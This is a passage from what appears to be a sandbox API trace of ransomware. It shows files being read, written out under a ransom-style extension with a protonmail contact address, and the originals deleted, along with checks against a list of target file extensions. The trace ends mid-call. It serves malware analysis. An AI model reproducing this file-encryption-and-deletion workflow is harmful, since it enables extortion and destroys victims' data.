(lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1080 [0134.689] GetFileSizeEx (in: hFile=0x1080, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=72076) returned 1 [0134.689] CloseHandle (hObject=0x1080) returned 1 [0134.689] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml")) returned 0x80 [0134.689] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0134.689] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1080 [0134.689] SetFilePointerEx (in: hFile=0x1080, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0134.689] SetFilePointerEx (in: hFile=0x1080, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0134.689] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0134.691] GetLastError () returned 0x0 [0134.691] ReadFile (in: hFile=0x1080, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x1198c, lpOverlapped=0x0) returned 1 [0134.793] WriteFile (in: hFile=0x10b0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x11990, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x11990, lpOverlapped=0x0) returned 1 [0134.851] ReadFile (in: hFile=0x1080, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0134.851] WriteFile (in: hFile=0x10b0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xf6, lpOverlapped=0x0) returned 1 [0134.851] SetEndOfFile (hFile=0x10b0) returned 1 [0134.851] CloseHandle (hObject=0x10b0) returned 1 [0134.853] SetFilePointerEx (in: hFile=0x1080, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0134.853] SetEndOfFile (hFile=0x1080) returned 1 [0134.855] CloseHandle (hObject=0x1080) returned 1 [0134.855] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0134.855] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml")) returned 1 [0134.856] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0134.856] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0134.856] lstrlenW (lpString=".doc") returned 4 [0134.856] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0134.856] lstrlenW (lpString=".docx") returned 5 [0134.856] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0134.856] lstrlenW (lpString=".pdf") returned 4 [0134.856] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0134.856] lstrlenW (lpString=".xls") returned 4 [0134.856] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0134.856] lstrlenW (lpString=".xlsx") returned 5 [0134.856] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0134.856] lstrlenW (lpString=".ppt") returned 4 [0134.856] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0134.856] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0134.856] lstrlenW (lpString=".zip") returned 4 [0134.856] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0134.856] lstrlenW (lpString=".rar") returned 4 [0134.856] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0134.856] lstrlenW (lpString=".bz2") returned 4 [0134.856] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0134.856] lstrlenW (lpString=".7z") returned 3 [0134.856] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0134.856] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0134.856] lstrlenW (lpString=".dbf") returned 4 [0134.856] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0134.857] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0134.857] lstrlenW (lpString=".1cd") returned 4 [0134.857] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0134.857] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0134.857] lstrlenW (lpString=".jpg") returned 4 [0134.857] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0134.857] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0134.857] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0134.857] lstrlenW (lpString=".doc") returned 4 [0134.857] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0134.857] lstrlenW (lpString=".docx") returned 5 [0134.857] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0134.857] lstrlenW (lpString=".pdf") returned 4 [0134.857] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0134.857] lstrlenW (lpString=".xls") returned 4 [0134.857] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0134.857] lstrlenW (lpString=".xlsx") returned 5 [0134.857] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0134.857] lstrlenW (lpString=".ppt") returned 4 [0134.857] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0134.857] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0134.857] lstrlenW (lpString=".zip") returned 4 [0134.857] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0134.857] lstrlenW (lpString=".rar") returned 4 [0134.857] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0134.857] lstrlenW (lpString=".bz2") returned 4 [0134.858] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0134.858] lstrlenW (lpString=".7z") returned 3 [0134.858] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0134.858] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0134.858] lstrlenW (lpString=".dbf") returned 4 [0134.858] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0134.858] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0134.858] lstrlenW (lpString=".1cd") returned 4 [0134.858] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0134.858] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0134.858] lstrlenW (lpString=".jpg") returned 4 [0134.858] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0134.858] lstrcmpiW (lpString1=".rtf", lpString2=".com") returned 1 [0134.858] lstrlenW (lpString="eula.rtf") returned 8 [0134.858] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0135.033] GetFileSizeEx (in: hFile=0x10a0, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=3643) returned 1 [0135.033] CloseHandle (hObject=0x10a0) returned 1 [0135.033] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf")) returned 0x80 [0135.033] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0135.033] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0135.033] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0135.033] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0135.033] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0135.035] GetLastError () returned 0x0 [0135.035] ReadFile (in: hFile=0x10a0, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0xe3b, lpOverlapped=0x0) returned 1 [0135.247] WriteFile (in: hFile=0x10bc, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xe40, lpOverlapped=0x0) returned 1 [0135.248] ReadFile (in: hFile=0x10a0, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0135.248] WriteFile (in: hFile=0x10bc, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xe4, lpOverlapped=0x0) returned 1 [0135.248] SetEndOfFile (hFile=0x10bc) returned 1 [0135.248] CloseHandle (hObject=0x10bc) returned 1 [0135.340] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0135.340] SetEndOfFile (hFile=0x10a0) returned 1 [0135.341] CloseHandle (hObject=0x10a0) returned 1 [0135.341] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0135.341] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf")) returned 1 [0135.342] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0135.342] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0135.342] lstrlenW (lpString=".doc") returned 4 [0135.342] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0135.342] lstrlenW (lpString=".docx") returned 5 [0135.342] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0135.342] lstrlenW (lpString=".pdf") returned 4 [0135.342] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0135.342] lstrlenW (lpString=".xls") returned 4 [0135.342] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0135.342] lstrlenW (lpString=".xlsx") returned 5 [0135.342] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0135.342] lstrlenW (lpString=".ppt") returned 4 [0135.342] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0135.342] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0135.342] lstrlenW (lpString=".zip") returned 4 [0135.342] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0135.342] lstrlenW (lpString=".rar") returned 4 [0135.342] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0135.342] lstrlenW (lpString=".bz2") returned 4 [0135.342] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0135.342] lstrlenW (lpString=".7z") returned 3 [0135.342] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0135.342] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0135.342] lstrlenW (lpString=".dbf") returned 4 [0135.342] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0135.342] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0135.342] lstrlenW (lpString=".1cd") returned 4 [0135.342] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0135.342] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0135.343] lstrlenW (lpString=".jpg") returned 4 [0135.343] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0135.343] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0135.343] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0135.343] lstrlenW (lpString=".doc") returned 4 [0135.343] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0135.343] lstrlenW (lpString=".docx") returned 5 [0135.343] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0135.343] lstrlenW (lpString=".pdf") returned 4 [0135.343] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0135.343] lstrlenW (lpString=".xls") returned 4 [0135.343] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0135.343] lstrlenW (lpString=".xlsx") returned 5 [0135.343] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0135.343] lstrlenW (lpString=".ppt") returned 4 [0135.343] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0135.343] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0135.343] lstrlenW (lpString=".zip") returned 4 [0135.343] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0135.343] lstrlenW (lpString=".rar") returned 4 [0135.344] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0135.344] lstrlenW (lpString=".bz2") returned 4 [0135.344] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0135.344] lstrlenW (lpString=".7z") returned 3 [0135.344] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0135.344] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0135.344] lstrlenW (lpString=".dbf") returned 4 [0135.344] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0135.344] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0135.344] lstrlenW (lpString=".1cd") returned 4 [0135.344] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0135.344] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0135.344] lstrlenW (lpString=".jpg") returned 4 [0135.344] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0135.344] lstrcmpiW (lpString1=".rtf", lpString2=".com") returned 1 [0135.344] lstrlenW (lpString="eula.rtf") returned 8 [0135.344] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0136.193] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=3546) returned 1 [0136.193] CloseHandle (hObject=0x10b4) returned 1 [0136.193] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf")) returned 0x80 [0136.193] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0136.193] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0136.194] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.194] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.194] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0136.309] GetLastError () returned 0x0 [0136.309] ReadFile (in: hFile=0x10b4, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0xdda, lpOverlapped=0x0) returned 1 [0136.413] WriteFile (in: hFile=0x1038, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xde0, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xde0, lpOverlapped=0x0) returned 1 [0136.415] ReadFile (in: hFile=0x10b4, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0136.415] WriteFile (in: hFile=0x1038, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xe4, lpOverlapped=0x0) returned 1 [0136.415] SetEndOfFile (hFile=0x1038) returned 1 [0136.415] CloseHandle (hObject=0x1038) returned 1 [0136.417] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.417] SetEndOfFile (hFile=0x10b4) returned 1 [0136.418] CloseHandle (hObject=0x10b4) returned 1 [0136.418] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0136.418] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf")) returned 1 [0136.419] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0136.419] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0136.419] lstrlenW (lpString=".doc") returned 4 [0136.419] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0136.419] lstrlenW (lpString=".docx") returned 5 [0136.419] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0136.419] lstrlenW (lpString=".pdf") returned 4 [0136.419] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0136.419] lstrlenW (lpString=".xls") returned 4 [0136.419] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0136.419] lstrlenW (lpString=".xlsx") returned 5 [0136.419] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0136.419] lstrlenW (lpString=".ppt") returned 4 [0136.419] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0136.419] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0136.419] lstrlenW (lpString=".zip") returned 4 [0136.419] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0136.419] lstrlenW (lpString=".rar") returned 4 [0136.419] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0136.419] lstrlenW (lpString=".bz2") returned 4 [0136.419] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0136.419] lstrlenW (lpString=".7z") returned 3 [0136.419] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0136.419] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0136.419] lstrlenW (lpString=".dbf") returned 4 [0136.419] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0136.419] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0136.419] lstrlenW (lpString=".1cd") returned 4 [0136.420] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0136.420] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0136.420] lstrlenW (lpString=".jpg") returned 4 [0136.420] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0136.420] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0136.420] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0136.420] lstrlenW (lpString=".doc") returned 4 [0136.420] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0136.420] lstrlenW (lpString=".docx") returned 5 [0136.420] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0136.420] lstrlenW (lpString=".pdf") returned 4 [0136.420] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0136.420] lstrlenW (lpString=".xls") returned 4 [0136.420] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0136.420] lstrlenW (lpString=".xlsx") returned 5 [0136.420] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0136.420] lstrlenW (lpString=".ppt") returned 4 [0136.420] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0136.420] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0136.420] lstrlenW (lpString=".zip") returned 4 [0136.420] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0136.420] lstrlenW (lpString=".rar") returned 4 [0136.420] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0136.420] lstrlenW (lpString=".bz2") returned 4 [0136.420] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0136.420] lstrlenW (lpString=".7z") returned 3 [0136.420] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0136.420] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0136.421] lstrlenW (lpString=".dbf") returned 4 [0136.421] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0136.421] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0136.421] lstrlenW (lpString=".1cd") returned 4 [0136.421] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0136.421] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0136.421] lstrlenW (lpString=".jpg") returned 4 [0136.421] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0136.421] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0136.421] lstrlenW (lpString="LocalizedData.xml") returned 17 [0136.421] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0136.422] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=79296) returned 1 [0136.422] CloseHandle (hObject=0x10b4) returned 1 [0136.422] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml")) returned 0x80 [0136.422] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0136.422] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0136.422] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.422] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.422] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0136.423] GetLastError () returned 0x0 [0136.423] ReadFile (in: hFile=0x10b4, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x135c0, lpOverlapped=0x0) returned 1 [0136.527] WriteFile (in: hFile=0x1038, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x135d0, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x135d0, lpOverlapped=0x0) returned 1 [0136.529] ReadFile (in: hFile=0x10b4, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, 